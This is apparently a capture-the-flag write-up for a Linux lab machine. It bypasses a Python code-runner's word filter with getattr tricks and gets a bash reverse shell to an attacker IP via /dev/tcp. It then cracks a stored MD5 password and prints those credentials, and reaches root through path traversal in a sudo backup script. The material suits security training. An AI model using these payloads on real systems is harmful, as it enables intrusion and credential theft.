Machine Code
This machine consists of bypassing a restricted-word filter in a Python web application to achieve remote command execution and the solution consists of obtaining a reverse shell, extracting credentials from a SQLite database, and escalating privileges by exploiting a backup script vulnerable to path traversal.
Reconnaissance
- Identifying the operating system through ping

- Since the TTL is close to 64, the machine can be identified as Linux.
- Identifying open ports with Nmap
- First, perform a basic scan to identify the open ports on the machine1
- Then run a more detailed scan to identify the services and versions running on the server

- Reviewing the website on port 5000
-
The page shows a platform that executes Python code:

-
Trying to import modules such as
osdisplays a message saying a restricted word is being used:
- Bypassing the restricted-word filter
- Try bypassing the restriction with the following payload2:
test = getattr(print.__self__, '__im' + 'port__')('o' + 's')
getattr(test, 'sy' + 'stem')('ping -c 1 10.10.16.91')
- With the attacker machine listening for ICMP traffic, this confirms the bypass works:

Unprivileged user access
- Obtaining a reverse shell
- Since the word filter can be bypassed, send a reverse shell instead of an ICMP packet:
test = getattr(print.__self__, '__im' + 'port__')('o' + 's')
getattr(test, 'sy' + 'stem')('bash -c "bash -i >& /dev/tcp/10.10.16.91/443 0>&1"')

- Unprivileged user flag
- Move back one directory and the user flag can be found:

Privilege escalation
- Searching for files in the current directory and logging in as user
martin
-
Run
find .to list all files in the current working directory:
-
One file stands out,
databasae.db, whichfileidentifies as a SQLite database:
-
Open it with
sqlite3and inspect theusertable:
-
The password for user
martinis stored as MD5, so try recovering it:
-
Once the credentials are recovered (
martin/nafeelswordsmaster), log in over SSH:
- Reviewing
martin's privileges and modifying files
-
List what the user can run with sudo:

-
Looking at
/usr/bin/backy.sh, it expects a JSON file, which in this case is located inside thebackupsdirectory:
-
The contents of
task.jsonare:
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],
"exclude": [
".*"
]
}
- Reading
backy.sh, there is a line that removes every../from the JSON file:
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
- Since this is the only check, it can be bypassed with the following path:
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/home/....//root"
]
}
- Root flag
-
Execute
backy.shwith the modifiedtask.json:
-
Extract the archive created by the script:

-
Enter the extracted directory and retrieve both the root flag and a private SSH key:

Footnotes
-
There was an earlier scan without a screenshot. The command used was:
nmap -sS -p- --open --min-rate 5000 -n -Pn 10.10.11.62 -oG allPorts↩ -
Explanation: This bypass works because the interpreter restricts keywords with a text blacklist, but in Python it is possible to reconstruct those names dynamically and access sensitive objects through alternative paths.
print.__self__returns thebuiltinsmodule, which contains__import__. Withgetattr(print.__self__, '__im' + 'port__'), the name__import__is assembled dynamically, avoiding the literal string and bypassing the filter. Then theosmodule is imported without writing"os"directly ('o' + 's'), and itssystemfunction is accessed withgetattr(test, 'sy' + 'stem'). This allows arbitrary command execution withos.system(...)without using any of the blocked words. ↩